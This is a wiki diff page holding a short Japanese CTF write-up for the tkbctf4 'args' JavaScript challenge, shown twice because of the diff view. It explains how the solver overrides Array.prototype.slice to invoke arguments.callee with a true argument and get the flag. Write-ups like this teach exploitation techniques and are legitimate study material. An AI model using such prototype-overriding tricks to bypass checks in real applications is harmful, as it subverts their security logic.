ログイン
編集不可のページディスカッション情報添付ファイル
"CTF/Writeup/tkbctf4/args"の差分

MMA
1と2のリビジョン間の差分
2014-11-03 21:42:36時点のリビジョン1
サイズ: 27
編集者: ytoku
コメント:
2014-11-03 22:01:02時点のリビジョン2
サイズ: 598
編集者: nomeaning
コメント:
削除された箇所はこのように表示されます。 追加された箇所はこのように表示されます。
行 2: 行 2:
argumentsには、calleeという関数自身を表すプロパティがある。参考: [[https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments]]

this.args(=arguments)をArray.prototype.sliceのthisに与えているので、sliceの中でthis.calleeを引数Trueで呼び出すように細工して、gを呼び出した。
{{{
args> Array.prototype.slice = function() { return [this.callee(true)]; }
function () { return [this.callee(true)]; }
args> g()
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"
args> ⏎
}}}

args (javascript 200)

argumentsには、calleeという関数自身を表すプロパティがある。参考: https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments

this.args(=arguments)をArray.prototype.sliceのthisに与えているので、sliceの中でthis.calleeを引数Trueで呼び出すように細工して、gを呼び出した。

args> Array.prototype.slice = function() { return [this.callee(true)]; }
function () { return [this.callee(true)]; }
args> g()
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"
args> ⏎

CTF/Writeup/tkbctf4/args (最終更新日時 2014-11-03 22:01:02 更新者 nomeaning)